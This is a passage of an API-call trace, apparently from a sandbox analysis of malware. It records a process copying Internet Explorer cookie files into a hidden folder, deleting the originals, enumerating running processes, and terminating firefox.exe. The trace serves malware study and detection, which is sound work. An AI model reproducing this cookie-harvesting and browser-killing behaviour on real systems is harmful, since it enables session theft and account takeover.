lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0116.493] StrChrW (lpStart="Low\\aetadzjz@www.msn[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@www.msn[2].txt" [0116.493] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0116.493] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0116.493] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0116.493] StrChrW (lpStart="aetadzjz@www.msn[2].txt", wMatch=0x94e005c) returned 0x0 [0116.493] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@www.msn[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.msn[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.msn[2].txt" [0116.494] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.msn[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@www.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@www.msn[2].txt"), bFailIfExists=0) returned 1 [0116.497] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a98470 | out: hHeap=0x9770000) returned 1 [0116.497] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.msn[2].txt")) returned 1 [0116.498] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94b30 | out: hHeap=0x9770000) returned 1 [0116.498] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770d30 | out: hHeap=0x9770000) returned 1 [0116.498] lstrlenA (lpString="firefox.exe") returned 11 [0116.498] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6dc50 [0116.498] mbstowcs (in: _Dest=0x9b6dc50, _Source="firefox.exe", _MaxCount=0xc | out: _Dest="firefox.exe") returned 0xb [0116.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0116.503] Process32FirstW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.504] lstrcmpiW (lpString1="[System Process]", lpString2="firefox.exe") returned -1 [0116.504] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.505] lstrcmpiW (lpString1="System", lpString2="firefox.exe") returned 1 [0116.505] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.507] lstrcmpiW (lpString1="smss.exe", lpString2="firefox.exe") returned 1 [0116.507] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.508] lstrcmpiW (lpString1="csrss.exe", lpString2="firefox.exe") returned -1 [0116.508] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.554] lstrcmpiW (lpString1="wininit.exe", lpString2="firefox.exe") returned 1 [0116.554] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.556] lstrcmpiW (lpString1="csrss.exe", lpString2="firefox.exe") returned -1 [0116.556] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.557] lstrcmpiW (lpString1="winlogon.exe", lpString2="firefox.exe") returned 1 [0116.557] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.558] lstrcmpiW (lpString1="services.exe", lpString2="firefox.exe") returned 1 [0116.558] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.559] lstrcmpiW (lpString1="lsass.exe", lpString2="firefox.exe") returned 1 [0116.559] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.560] lstrcmpiW (lpString1="lsm.exe", lpString2="firefox.exe") returned 1 [0116.560] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.562] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.562] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.563] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.563] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.564] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.564] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.565] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.565] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.566] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.566] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.567] lstrcmpiW (lpString1="audiodg.exe", lpString2="firefox.exe") returned -1 [0116.567] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.568] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.568] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.569] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.569] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.570] lstrcmpiW (lpString1="dwm.exe", lpString2="firefox.exe") returned -1 [0116.570] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.571] lstrcmpiW (lpString1="explorer.exe", lpString2="firefox.exe") returned -1 [0116.571] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.573] lstrcmpiW (lpString1="spoolsv.exe", lpString2="firefox.exe") returned 1 [0116.573] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.574] lstrcmpiW (lpString1="taskhost.exe", lpString2="firefox.exe") returned 1 [0116.574] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.575] lstrcmpiW (lpString1="svchost.exe", lpString2="firefox.exe") returned 1 [0116.575] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0116.576] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="firefox.exe") returned 1 [0116.576] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.577] lstrcmpiW (lpString1="taskeng.exe", lpString2="firefox.exe") returned 1 [0116.577] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0116.578] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="firefox.exe") returned 1 [0116.578] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.579] lstrcmpiW (lpString1="taskhost.exe", lpString2="firefox.exe") returned 1 [0116.579] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nr nutrition.exe")) returned 1 [0116.580] lstrcmpiW (lpString1="nr nutrition.exe", lpString2="firefox.exe") returned 1 [0116.580] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beat.exe")) returned 1 [0116.581] lstrcmpiW (lpString1="beat.exe", lpString2="firefox.exe") returned -1 [0116.581] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="refers.exe")) returned 1 [0116.583] lstrcmpiW (lpString1="refers.exe", lpString2="firefox.exe") returned 1 [0116.583] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="additions.exe")) returned 1 [0116.584] lstrcmpiW (lpString1="additions.exe", lpString2="firefox.exe") returned -1 [0116.584] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="clusters attack.exe")) returned 1 [0116.585] lstrcmpiW (lpString1="clusters attack.exe", lpString2="firefox.exe") returned -1 [0116.585] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="oriental.exe")) returned 1 [0116.586] lstrcmpiW (lpString1="oriental.exe", lpString2="firefox.exe") returned 1 [0116.639] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="protective quite sessions.exe")) returned 1 [0116.643] lstrcmpiW (lpString1="protective quite sessions.exe", lpString2="firefox.exe") returned 1 [0116.643] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mumbai.exe")) returned 1 [0116.644] lstrcmpiW (lpString1="mumbai.exe", lpString2="firefox.exe") returned 1 [0116.644] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ps-workstation.exe")) returned 1 [0116.645] lstrcmpiW (lpString1="ps-workstation.exe", lpString2="firefox.exe") returned 1 [0116.645] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today.exe")) returned 1 [0116.646] lstrcmpiW (lpString1="today.exe", lpString2="firefox.exe") returned 1 [0116.646] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dishesproductioncottage.exe")) returned 1 [0116.647] lstrcmpiW (lpString1="dishesproductioncottage.exe", lpString2="firefox.exe") returned -1 [0116.647] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="unfortunatelyafterwardsemission.exe")) returned 1 [0116.648] lstrcmpiW (lpString1="unfortunatelyafterwardsemission.exe", lpString2="firefox.exe") returned 1 [0116.648] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="weblogs-waters.exe")) returned 1 [0116.649] lstrcmpiW (lpString1="weblogs-waters.exe", lpString2="firefox.exe") returned 1 [0116.649] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1 [0116.651] lstrcmpiW (lpString1="plaintiff.exe", lpString2="firefox.exe") returned 1 [0116.651] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensborooregon.exe")) returned 1 [0116.652] lstrcmpiW (lpString1="greensborooregon.exe", lpString2="firefox.exe") returned 1 [0116.652] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chartspresently.exe")) returned 1 [0116.653] lstrcmpiW (lpString1="chartspresently.exe", lpString2="firefox.exe") returned -1 [0116.653] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ir grey.exe")) returned 1 [0116.654] lstrcmpiW (lpString1="ir grey.exe", lpString2="firefox.exe") returned 1 [0116.654] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="know.exe")) returned 1 [0116.655] lstrcmpiW (lpString1="know.exe", lpString2="firefox.exe") returned 1 [0116.655] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement_float_disability.exe")) returned 1 [0116.656] lstrcmpiW (lpString1="requirement_float_disability.exe", lpString2="firefox.exe") returned 1 [0116.656] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="licenses_miss.exe")) returned 1 [0116.657] lstrcmpiW (lpString1="licenses_miss.exe", lpString2="firefox.exe") returned 1 [0116.657] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0116.658] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="firefox.exe") returned 1 [0116.658] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0116.659] lstrcmpiW (lpString1="iexplore.exe", lpString2="firefox.exe") returned 1 [0116.659] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefox.exe")) returned 1 [0116.661] lstrcmpiW (lpString1="firefox.exe", lpString2="firefox.exe") returned 0 [0116.661] CloseHandle (hObject=0xa90) returned 1 [0116.661] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb64) returned 0xa90 [0116.661] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0116.661] TerminateProcess (hProcess=0xa90, uExitCode=0x0) returned 1 [0116.843] CloseHandle (hObject=0xa90) returned 1 [0116.843] lstrlenA (lpString="firefox.exe") returned 11 [0116.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6dc50 [0116.843] mbstowcs (in: _Dest=0x9b6dc50, _Source="firefox.exe", _MaxCount=0xc | out: _Dest="firefox.exe") returned 0xb [0116.843] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0116.847] Process32FirstW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.848] lstrcmpiW (lpString1="[System Process]", lpString2="firefox.exe") returned -1 [0116.848] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.850] lstrcmpiW (lpString1="System", lpString2="firefox.exe") returned 1 [0116.850] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.851] lstrcmpiW (lpString1="smss.exe", lpString2="firefox.exe") returned 1 [0116.851] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.852] lstrcmpiW (lpString1="csrss.exe", lpString2="firefox.exe") returned -1 [0116.852] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, 